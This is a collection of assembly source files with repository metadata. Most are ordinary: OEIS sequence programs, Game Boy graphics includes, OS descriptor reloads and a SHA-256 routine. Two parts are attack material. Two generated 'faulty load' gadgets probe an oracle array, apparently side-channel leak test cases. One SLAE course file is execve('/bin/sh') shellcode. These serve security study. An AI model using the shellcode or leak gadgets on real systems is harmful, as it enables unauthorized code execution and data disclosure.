{"size": 856, "ext": "asm", "max_stars_repo_path": "oeis/228/A228755.asm", "max_stars_repo_name": "neoneye/loda-programs", "max_stars_repo_stars_event_min_datetime": "2021-08-22T19:44:55.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-20T16:47:57.000Z", "max_issues_repo_path": "oeis/228/A228755.asm", "max_issues_repo_name": "neoneye/loda-programs", "max_issues_repo_issues_event_min_datetime": "2021-08-29T13:15:54.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-09T19:52:31.000Z", "max_forks_repo_path": "oeis/228/A228755.asm", "max_forks_repo_name": "neoneye/loda-programs", "max_forks_repo_forks_event_min_datetime": "2021-08-22T20:56:47.000Z", "max_forks_repo_forks_event_max_datetime": "2021-09-29T06:26:12.000Z"}
{"max_stars_count": 11, "max_issues_count": 9, "max_forks_count": 3, "avg_line_length": 35.6666666667, "max_line_length": 491, "alphanum_fraction": 0.7862149533}
; A228755: Number of 3 X n binary arrays with top left element equal to 1 and no two ones adjacent horizontally or antidiagonally. ; Submitted by Christian Krause ; 4,8,39,126,482,1712,6277,22700,82580,299648,1088499,3952186,14352786,52119040,189266297,687294648,2495834292,9063317432,32912374319,119517358582,434013128786,1576067091632,5723300581661,20783486354532,75472763070244,274070377176048,995254032191899,3614146841085554,13124345112252258,47659500893841792,173069818429005233,628482495379975664,2282259556221730468,8287754583829473128,30095996686560323831,109290038380717510766,396873797324575234050,1441200070349626059568,5233546927960143199605 add $0,2 mov $2,1 lpb $0 sub $0,1 dif $2,2 mul $4,-1 add $5,$1 mov $1,$3 mul $3,5 mul $5,2 sub $4,$5 sub $3,$4 mov $4,$2 mov $2,$3 add $5,$4 mov $3,$5 lpe mov $0,$2 div $0,2
TheStack
8d11d3523d0d41a38cf3f62bf745a446f9b76575
Assemblycode:Assembly
{"size": 938, "ext": "asm", "max_stars_repo_path": "src/common/gfx.asm", "max_stars_repo_name": "furrtek/GB303", "max_stars_repo_stars_event_min_datetime": "2015-06-19T14:26:19.000Z", "max_stars_repo_stars_event_max_datetime": "2022-01-05T08:19:41.000Z", "max_issues_repo_path": "src/common/gfx.asm", "max_issues_repo_name": "furrtek/GB303", "max_issues_repo_issues_event_min_datetime": "2015-06-21T20:55:40.000Z", "max_issues_repo_issues_event_max_datetime": "2022-02-09T08:02:04.000Z", "max_forks_repo_path": "src/common/gfx.asm", "max_forks_repo_name": "furrtek/GB303", "max_forks_repo_forks_event_min_datetime": "2015-06-21T20:43:11.000Z", "max_forks_repo_forks_event_max_datetime": "2020-12-08T13:24:16.000Z"}
{"max_stars_count": 90, "max_issues_count": 2, "max_forks_count": 10, "avg_line_length": 17.6981132075, "max_line_length": 30, "alphanum_fraction": 0.6801705757}
tiles_alpha: .INCBIN "gfx\alphaftk.bin" tiles_screenmap: .INCBIN "gfx\screenmap.bin" tiles_logo: .INCBIN "gfx\logo.bin" tiles_error: .INCBIN "gfx\error.bin" tiles_dists: .INCBIN "gfx\dists.bin" tiles_lfoshapes: .INCBIN "gfx\lfoshapes.bin" tiles_potlinks: .INCBIN "gfx\potlinks.bin" tile_wingrad: .INCBIN "gfx\wingrad.bin" tiles_pot: .INCBIN "gfx\pot.bin" tiles_grid: .INCBIN "gfx\gridbg.bin" tiles_gridcur: .INCBIN "gfx\gridcur.bin" tiles_keyb: .INCBIN "gfx\keyb.bin" tiles_bignums: .INCBIN "gfx\bignums.bin" tiles_curnote: .INCBIN "gfx\curnote.bin" tiles_curseq: .INCBIN "gfx\curseq.bin" tiles_curseq2: .INCBIN "gfx\curseq2.bin" tiles_gridnote: .INCBIN "gfx\gridnote.bin" tiles_note: .INCBIN "gfx\note.bin" tiles_noteup: .INCBIN "gfx\noteup.bin" tiles_notedn: .INCBIN "gfx\notedn.bin" tiles_noteoff: .INCBIN "gfx\noteoff.bin"
TheStack
77a95c04062f1f8132e65a04600bcc1e379501a7
Assemblycode:Assembly
{"size": 187, "ext": "asm", "max_stars_repo_path": "development/assembler/is_prime.asm", "max_stars_repo_name": "rprinz08/hBPF", "max_stars_repo_stars_event_min_datetime": "2021-06-07T17:44:17.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-26T19:51:03.000Z", "max_issues_repo_path": "development/assembler/is_prime.asm", "max_issues_repo_name": "rprinz08/hBPF", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "development/assembler/is_prime.asm", "max_forks_repo_name": "rprinz08/hBPF", "max_forks_repo_forks_event_min_datetime": "2021-06-25T21:08:55.000Z", "max_forks_repo_forks_event_max_datetime": "2022-01-06T11:26:28.000Z"}
{"max_stars_count": 84, "max_issues_count": null, "max_forks_count": 4, "avg_line_length": 10.3888888889, "max_line_length": 16, "alphanum_fraction": 0.6256684492}
mov r1, 67 mov r0, 0x1 mov r2, 0x2 jgt r1, 0x2, +4 ja +10 add r2, 0x1 mov r0, 0x1 jge r2, r1, +7 mov r3, r1 div r3, r2 mul r3, r2 mov r4, r1 sub r4, r3 mov r0, 0x0 jne r4, 0x0, -10 exit
TheStack
421e46cc15295f51ef85270b4706a308fc7a7ba9
Assemblycode:Assembly
{"size": 188, "ext": "asm", "max_stars_repo_path": "libsrc/_DEVELOPMENT/arch/ts2068/display/c/sdcc/tshc_saddrcup_fastcall.asm", "max_stars_repo_name": "jpoikela/z88dk", "max_stars_repo_stars_event_min_datetime": "2017-01-14T23:33:45.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-30T11:28:42.000Z", "max_issues_repo_path": "libsrc/_DEVELOPMENT/arch/ts2068/display/c/sdcc/tshc_saddrcup_fastcall.asm", "max_issues_repo_name": "jpoikela/z88dk", "max_issues_repo_issues_event_min_datetime": "2017-01-15T16:12:02.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-31T12:11:12.000Z", "max_forks_repo_path": "libsrc/_DEVELOPMENT/arch/ts2068/display/c/sdcc/tshc_saddrcup_fastcall.asm", "max_forks_repo_name": "jpoikela/z88dk", "max_forks_repo_forks_event_min_datetime": "2017-01-17T10:43:03.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-23T17:25:02.000Z"}
{"max_stars_count": 640, "max_issues_count": 1600, "max_forks_count": 215, "avg_line_length": 17.0909090909, "max_line_length": 52, "alphanum_fraction": 0.8617021277}
; void *tshc_saddrcup(void *saddr) SECTION code_clib SECTION code_arch PUBLIC _tshc_saddrcup_fastcall EXTERN _zx_saddrcup_fastcall defc _tshc_saddrcup_fastcall = _zx_saddrcup_fastcall
TheStack
7d70b7231845fb55873953d89f7b6e0a2e6b28d9
Assemblycode:Assembly
{"size": 1594, "ext": "asm", "max_stars_repo_path": "Transynther/x86/_processed/US/_zr_/i7-7700_9_0xca_notsx.log_4_510.asm", "max_stars_repo_name": "ljhsiun2/medusa", "max_stars_repo_stars_event_min_datetime": "2020-08-13T19:41:58.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-30T12:22:51.000Z", "max_issues_repo_path": "Transynther/x86/_processed/US/_zr_/i7-7700_9_0xca_notsx.log_4_510.asm", "max_issues_repo_name": "ljhsiun2/medusa", "max_issues_repo_issues_event_min_datetime": "2021-04-29T06:29:35.000Z", "max_issues_repo_issues_event_max_datetime": "2021-05-13T21:02:30.000Z", "max_forks_repo_path": "Transynther/x86/_processed/US/_zr_/i7-7700_9_0xca_notsx.log_4_510.asm", "max_forks_repo_name": "ljhsiun2/medusa", "max_forks_repo_forks_event_min_datetime": "2020-07-14T17:07:07.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-21T01:12:22.000Z"}
{"max_stars_count": 9, "max_issues_count": 1, "max_forks_count": 3, "avg_line_length": 17.7111111111, "max_line_length": 126, "alphanum_fraction": 0.6474278545}
.global s_prepare_buffers s_prepare_buffers: ret .global s_faulty_load s_faulty_load: push %r11 push %r13 push %r15 push %r8 push %rbp push %rbx push %rdi // Store lea addresses_normal+0x5423, %r8 nop nop nop nop nop sub %rbp, %rbp mov $0x5152535455565758, %rdi movq %rdi, %xmm0 movups %xmm0, (%r8) nop xor $32425, %rbp // Store lea addresses_D+0x1e993, %r11 nop nop sub %rbx, %rbx movw $0x5152, (%r11) nop nop nop nop nop sub %rbx, %rbx // Store lea addresses_normal+0x5aa3, %r11 nop nop nop xor %r13, %r13 mov $0x5152535455565758, %r8 movq %r8, %xmm5 movups %xmm5, (%r11) nop nop nop xor %r11, %r11 // Faulty Load lea addresses_US+0xd193, %rbx nop nop inc %r8 vmovups (%rbx), %ymm2 vextracti128 $1, %ymm2, %xmm2 vpextrq $1, %xmm2, %rdi lea oracles, %r13 and $0xff, %rdi shlq $12, %rdi mov (%r13,%rdi,1), %rdi pop %rdi pop %rbx pop %rbp pop %r8 pop %r15 pop %r13 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0, 'same': False, 'type': 'addresses_US'}, 'OP': 'LOAD'} {'dst': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 4, 'same': False, 'type': 'addresses_normal'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 9, 'same': False, 'type': 'addresses_D'}, 'OP': 'STOR'} {'dst': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 3, 'same': False, 'type': 'addresses_normal'}, 'OP': 'STOR'} [Faulty Load] {'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0, 'same': True, 'type': 'addresses_US'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'00': 4} 00 00 00 00 */
TheStack
e1fb9186c671254308a346a7dbfd6a77437c3b5d
Assemblycode:Assembly
{"size": 5107, "ext": "asm", "max_stars_repo_path": "Transynther/x86/_processed/US/_ht_un_/i9-9900K_12_0xa0.log_21829_565.asm", "max_stars_repo_name": "ljhsiun2/medusa", "max_stars_repo_stars_event_min_datetime": "2020-08-13T19:41:58.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-30T12:22:51.000Z", "max_issues_repo_path": "Transynther/x86/_processed/US/_ht_un_/i9-9900K_12_0xa0.log_21829_565.asm", "max_issues_repo_name": "ljhsiun2/medusa", "max_issues_repo_issues_event_min_datetime": "2021-04-29T06:29:35.000Z", "max_issues_repo_issues_event_max_datetime": "2021-05-13T21:02:30.000Z", "max_forks_repo_path": "Transynther/x86/_processed/US/_ht_un_/i9-9900K_12_0xa0.log_21829_565.asm", "max_forks_repo_name": "ljhsiun2/medusa", "max_forks_repo_forks_event_min_datetime": "2020-07-14T17:07:07.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-21T01:12:22.000Z"}
{"max_stars_count": 9, "max_issues_count": 1, "max_forks_count": 3, "avg_line_length": 42.2066115702, "max_line_length": 2999, "alphanum_fraction": 0.6569414529}
.global s_prepare_buffers s_prepare_buffers: push %r13 push %r8 push %r9 push %rcx push %rdi push %rdx push %rsi lea addresses_WT_ht+0x14422, %rsi lea addresses_UC_ht+0x136a0, %rdi clflush (%rsi) nop nop nop sub %r8, %r8 mov $66, %rcx rep movsq nop nop nop nop nop and %rsi, %rsi lea addresses_WC_ht+0xb100, %r13 nop nop nop xor $11928, %r9 mov (%r13), %rdx nop nop nop nop nop cmp $24702, %r13 lea addresses_D_ht+0x11e80, %rcx nop nop nop nop and %rsi, %rsi movb (%rcx), %dl nop nop nop nop xor %rdx, %rdx lea addresses_WT_ht+0x5d00, %rcx nop nop add %rdx, %rdx mov (%rcx), %di nop nop nop dec %rcx pop %rsi pop %rdx pop %rdi pop %rcx pop %r9 pop %r8 pop %r13 ret .global s_faulty_load s_faulty_load: push %r10 push %r15 push %r9 push %rbp push %rcx push %rsi // Store lea addresses_normal+0x10b60, %r9 nop nop nop nop nop dec %rbp movw $0x5152, (%r9) nop nop cmp $30300, %rbp // Faulty Load lea addresses_US+0x1c500, %rcx add %r15, %r15 movups (%rcx), %xmm2 vpextrq $1, %xmm2, %r9 lea oracles, %r15 and $0xff, %r9 shlq $12, %r9 mov (%r15,%r9,1), %r9 pop %rsi pop %rcx pop %rbp pop %r9 pop %r15 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_US', 'AVXalign': False, 'size': 8}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 2, 'type': 'addresses_normal', 'AVXalign': False, 'size': 2}} [Faulty Load] {'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_US', 'AVXalign': False, 'size': 16}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'same': False, 'congruent': 0, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 4, 'type': 'addresses_UC_ht'}} {'src': {'NT': False, 'same': False, 'congruent': 9, 'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 8}, 'OP': 'LOAD'} {'src': {'NT': False, 'same': False, 'congruent': 7, 'type': 'addresses_D_ht', 'AVXalign': True, 'size': 1}, 'OP': 'LOAD'} {'src': {'NT': False, 'same': False, 'congruent': 11, 'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'} {'49': 21826, '73': 1, '08': 2} 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 49 */
TheStack
d6f336a6bcaa057d4abfaa5795a10d8cf37e287a
Assemblycode:Assembly
{"size": 273, "ext": "asm", "max_stars_repo_path": "kernel/sys/reload.asm", "max_stars_repo_name": "Sebastian-byte/osdev64", "max_stars_repo_stars_event_min_datetime": "2021-09-28T17:14:23.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-03T20:21:56.000Z", "max_issues_repo_path": "kernel/sys/reload.asm", "max_issues_repo_name": "Sebastian-byte/osdev64", "max_issues_repo_issues_event_min_datetime": "2021-06-13T06:37:36.000Z", "max_issues_repo_issues_event_max_datetime": "2021-08-03T17:08:46.000Z", "max_forks_repo_path": "kernel/sys/reload.asm", "max_forks_repo_name": "Sebastian-byte/osdev64", "max_forks_repo_forks_event_min_datetime": "2021-06-13T05:49:12.000Z", "max_forks_repo_forks_event_max_datetime": "2021-09-04T21:53:14.000Z"}
{"max_stars_count": 50, "max_issues_count": 2, "max_forks_count": 8, "avg_line_length": 11.375, "max_line_length": 23, "alphanum_fraction": 0.706959707}
extern gdt_pointer global gdt_reload gdt_reload: lgdt [rel gdt_pointer] push 8 lea rax, [rel .flush] push rax retfq .flush: mov eax, 0x10 mov ds, eax mov es, eax mov fs, eax mov gs, eax mov ss, eax ret global tss_reload tss_reload: mov ax, 0x2B ltr ax ret
TheStack
46eda59178c36f5441d59959b26f856f5658eca0
Assemblycode:Assembly
{"size": 317, "ext": "asm", "max_stars_repo_path": "programs/oeis/132/A132369.asm", "max_stars_repo_name": "jmorken/loda", "max_stars_repo_stars_event_min_datetime": "2021-03-15T11:38:20.000Z", "max_stars_repo_stars_event_max_datetime": "2021-03-15T11:38:20.000Z", "max_issues_repo_path": "programs/oeis/132/A132369.asm", "max_issues_repo_name": "jmorken/loda", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "programs/oeis/132/A132369.asm", "max_forks_repo_name": "jmorken/loda", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null}
{"max_stars_count": 1, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 39.625, "max_line_length": 205, "alphanum_fraction": 0.7444794953}
; A132369: PrimePi(n)!. ; 1,1,2,2,6,6,24,24,24,24,120,120,720,720,720,720,5040,5040,40320,40320,40320,40320,362880,362880,362880,362880,362880,362880,3628800,3628800,39916800,39916800,39916800,39916800,39916800,39916800,479001600 add $0,1 cal $0,230980 ; Number of primes <= n, starting at n=0. mov $1,$0 cal $1,142
TheStack
04eedfe04d0afd75449fa34d4e560b73b5575014
Assemblycode:Assembly
{"size": 553, "ext": "asm", "max_stars_repo_path": "assignment4/execve-stack.asm", "max_stars_repo_name": "gkweb76/SLAE", "max_stars_repo_stars_event_min_datetime": "2015-08-11T09:50:00.000Z", "max_stars_repo_stars_event_max_datetime": "2021-10-02T19:30:53.000Z", "max_issues_repo_path": "assignment4/execve-stack.asm", "max_issues_repo_name": "gkweb76/SLAE", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "assignment4/execve-stack.asm", "max_forks_repo_name": "gkweb76/SLAE", "max_forks_repo_forks_event_min_datetime": "2015-08-11T09:51:55.000Z", "max_forks_repo_forks_event_max_datetime": "2021-10-18T18:04:11.000Z"}
{"max_stars_count": 15, "max_issues_count": null, "max_forks_count": 9, "avg_line_length": 16.7575757576, "max_line_length": 61, "alphanum_fraction": 0.609403255}
; Title: Execve stack (25 bytes) ; From SLAE course ; SLAE-681 global _start section .text _start: ; ebx ecx edx ; [/bin/sh][NULL][&/bin/sh][NULL] ; 1 [NULL] xor eax, eax push eax ; push NULL on the stack, before pushing a string ; 2 [&/bin/sh][NULL] ; PUSH //bin/sh (8 bytes) 68732f6e 69622f2f push 0x68732f6e push 0x69622f2f mov ebx, esp ; ebx = //bin/sh NULL ; 3 [NULL][&/bin/sh][NULL] push eax mov edx, esp ; edx = NULL push ebx mov ecx, esp ; ecx = &//bin/sh mov al, 11 ; execve syscall int 0x80
TheStack
0291f69c3535d2f41df51313c929872ac70e3a57
Assemblycode:Assembly
{"size": 115, "ext": "asm", "max_stars_repo_path": "libpal/intel_64bit_systemv_nasm/write_cr2.asm", "max_stars_repo_name": "mars-research/pal", "max_stars_repo_stars_event_min_datetime": "2020-01-06T23:53:17.000Z", "max_stars_repo_stars_event_max_datetime": "2022-02-01T08:58:21.000Z", "max_issues_repo_path": "libpal/intel_64bit_systemv_nasm/write_cr2.asm", "max_issues_repo_name": "mars-research/pal", "max_issues_repo_issues_event_min_datetime": "2019-11-13T00:55:22.000Z", "max_issues_repo_issues_event_max_datetime": "2022-01-06T08:09:35.000Z", "max_forks_repo_path": "libpal/intel_64bit_systemv_nasm/write_cr2.asm", "max_forks_repo_name": "mars-research/pal", "max_forks_repo_forks_event_min_datetime": "2019-11-15T16:56:22.000Z", "max_forks_repo_forks_event_max_datetime": "2021-12-22T10:14:17.000Z"}
{"max_stars_count": 26, "max_issues_count": 30, "max_forks_count": 14, "avg_line_length": 11.5, "max_line_length": 29, "alphanum_fraction": 0.7565217391}
bits 64 default rel section .text global pal_execute_write_cr2 pal_execute_write_cr2 : mov cr2, rdi ret
TheStack
37873d24d101797fbfcb0dca22a2a16e77427bfe
Assemblycode:Assembly
{"size": 5579, "ext": "asm", "max_stars_repo_path": "sha256.asm", "max_stars_repo_name": "sheumann/65816-crypto", "max_stars_repo_stars_event_min_datetime": "2017-07-05T11:53:40.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-11T08:12:25.000Z", "max_issues_repo_path": "sha256.asm", "max_issues_repo_name": "sheumann/65816-crypto", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "sha256.asm", "max_forks_repo_name": "sheumann/65816-crypto", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null}
{"max_stars_count": 10, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 15.4542936288, "max_line_length": 77, "alphanum_fraction": 0.7142857143}
* Copyright (c) 2017 Stephen Heumann * * Permission to use, copy, modify, and distribute this software for any * purpose with or without fee is hereby granted, provided that the above * copyright notice and this permission notice appear in all copies. * * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES * WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF * MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR * ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES * WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN * ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF * OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. * Implementation of the SHA-256 (and SHA-224) hash function for the 65816 * * The basic structure of the hash computation is described in FIPS PUB 180-4, * although this implementation rearranges some things for better performance. case on mcopy sha256.macros * Direct page locations length gequ 0 extra gequ 8 zero gequ 10 a_ gequ 12 ; elements of state zero2 gequ 16 b gequ 18 zero3 gequ 22 c gequ 24 zero4 gequ 28 d gequ 30 zero5 gequ 34 e gequ 36 zero6 gequ 40 f gequ 42 zero7 gequ 46 g gequ 48 zero8 gequ 52 h gequ 54 zero9 gequ 58 h0 gequ 60 h1 gequ 64 h2 gequ 68 h3 gequ 72 h4 gequ 76 h5 gequ 80 h6 gequ 84 h7 gequ 88 w gequ 92 ch gequ 156 maj gequ 160 k_ptr gequ 164 idx gequ 168 two gequ 170 four gequ 172 six gequ 174 eight gequ 176 ten gequ 178 twelve gequ 180 fourteen gequ 182 sixteen gequ 184 eighteen gequ 186 twenty gequ 188 twentytwo gequ 190 twentyfour gequ 192 twentysix gequ 194 twentyeight gequ 196 thirty gequ 198 temp1 gequ 200 temp2 gequ 204 temp3 gequ 208 temp4 gequ 212 k private dc i4'$428a2f98, $71374491, $b5c0fbcf, $e9b5dba5' dc i4'$3956c25b, $59f111f1, $923f82a4, $ab1c5ed5' dc i4'$d807aa98, $12835b01, $243185be, $550c7dc3' dc i4'$72be5d74, $80deb1fe, $9bdc06a7, $c19bf174' dc i4'$e49b69c1, $efbe4786, $0fc19dc6, $240ca1cc' dc i4'$2de92c6f, $4a7484aa, $5cb0a9dc, $76f988da' dc i4'$983e5152, $a831c66d, $b00327c8, $bf597fc7' dc i4'$c6e00bf3, $d5a79147, $06ca6351, $14292967' dc i4'$27b70a85, $2e1b2138, $4d2c6dfc, $53380d13' dc i4'$650a7354, $766a0abb, $81c2c92e, $92722c85' dc i4'$a2bfe8a1, $a81a664b, $c24b8b70, $c76c51a3' dc i4'$d192e819, $d6990624, $f40e3585, $106aa070' dc i4'$19a4c116, $1e376c08, $2748774c, $34b0bcb5' dc i4'$391c0cb3, $4ed8aa4a, $5b9cca4f, $682e6ff3' dc i4'$748f82ee, $78a5636f, $84c87814, $8cc70208' dc i4'$90befffa, $a4506ceb, $bef9a3f7, $c67178f2' end * Initialize a context for SHA-256 computation. * An init function must be called before any of the other SHA-256 functions. sha256_init start CFunction SHA256_INIT end * Initialize a context for SHA-224 computation. * To compute a SHA-224 hash, call this function, and then call the below * functions as if computing a SHA-256 hash. After calling sha256_finalize, * the first 28 bytes of context->hash will contain the SHA-224 hash. sha224_init start CFunction SHA224_INIT end SHA224_INIT start lda #$9ed8 sta h0 lda #$c105 sta h0+2 lda #$d507 sta h1 lda #$367c sta h1+2 lda #$dd17 sta h2 lda #$3070 sta h2+2 lda #$5939 sta h3 lda #$f70e sta h3+2 lda #$0b31 sta h4 lda #$ffc0 sta h4+2 lda #$1511 sta h5 lda #$6858 sta h5+2 lda #$8fa7 sta h6 lda #$64f9 sta h6+2 lda #$4fa4 sta h7 lda #$befa sta h7+2 bra initdp SHA256_INIT entry lda #$e667 sta h0 lda #$6a09 sta h0+2 lda #$ae85 sta h1 lda #$bb67 sta h1+2 lda #$f372 sta h2 lda #$3c6e sta h2+2 lda #$f53a sta h3 lda #$a54f sta h3+2 lda #$527f sta h4 lda #$510e sta h4+2 lda #$688c sta h5 lda #$9b05 sta h5+2 lda #$d9ab sta h6 lda #$1f83 sta h6+2 lda #$cd19 sta h7 lda #$5be0 sta h7+2 initdp stz length stz length+2 stz length+4 stz length+6 stz extra stz zero stz zero2 stz zero3 stz zero4 stz zero5 stz zero6 stz zero7 stz zero8 stz zero9 lda #2 sta two lda #4 sta four lda #6 sta six lda #8 sta eight lda #10 sta ten lda #12 sta twelve lda #14 sta fourteen lda #16 sta sixteen lda #18 sta eighteen lda #20 sta twenty lda #22 sta twentytwo lda #24 sta twentyfour lda #26 sta twentysix lda #28 sta twentyeight lda #30 sta thirty rtl end * Process one 64-byte block through the SHA-256 hashing function. * This is a low-level function; users should normally not call this directly. sha256_processblock start CFunction SHA256_PROCESSBLOCK end SHA256_PROCESSBLOCK start lda h0 sta a_ lda h0+2 sta a_+2 lda h1 sta b lda h1+2 sta b+2 lda h2 sta c lda h2+2 sta c+2 lda h3 sta d lda h3+2 sta d+2 lda h4 sta e lda h4+2 sta e+2 lda h5 sta f lda h5+2 sta f+2 lda h6 sta g lda h6+2 sta g+2 lda h6 sta g lda h6+2 sta g+2 lda h7 sta h lda h7+2 sta h+2 lda #k sta k_ptr ComputeSchedule 1 jsr BlockLoopSub jsr ScheduleAndBlockLoopSub jsr ScheduleAndBlockLoopSub jsr ScheduleAndBlockLoopSub endloop clc lda h0 adc a_ sta h0 lda h0+2 adc a_+2 sta h0+2 clc lda h1 adc b sta h1 lda h1+2 adc b+2 sta h1+2 clc lda h2 adc c sta h2 lda h2+2 adc c+2 sta h2+2 clc lda h3 adc d sta h3 lda h3+2 adc d+2 sta h3+2 clc lda h4 adc e sta h4 lda h4+2 adc e+2 sta h4+2 clc lda h5 adc f sta h5 lda h5+2 adc f+2 sta h5+2 clc lda h6 adc g sta h6 lda h6+2 adc g+2 sta h6+2 clc lda h7 adc h sta h7 lda h7+2 adc h+2 sta h7+2 rtl ScheduleAndBlockLoopSub anop ComputeSchedule 2 BlockLoopSub anop BlockLoopPart 1 rts end
TheStack
db5360b80aa358b48be96c40be11d20b9de8a45b
Assemblycode:Assembly
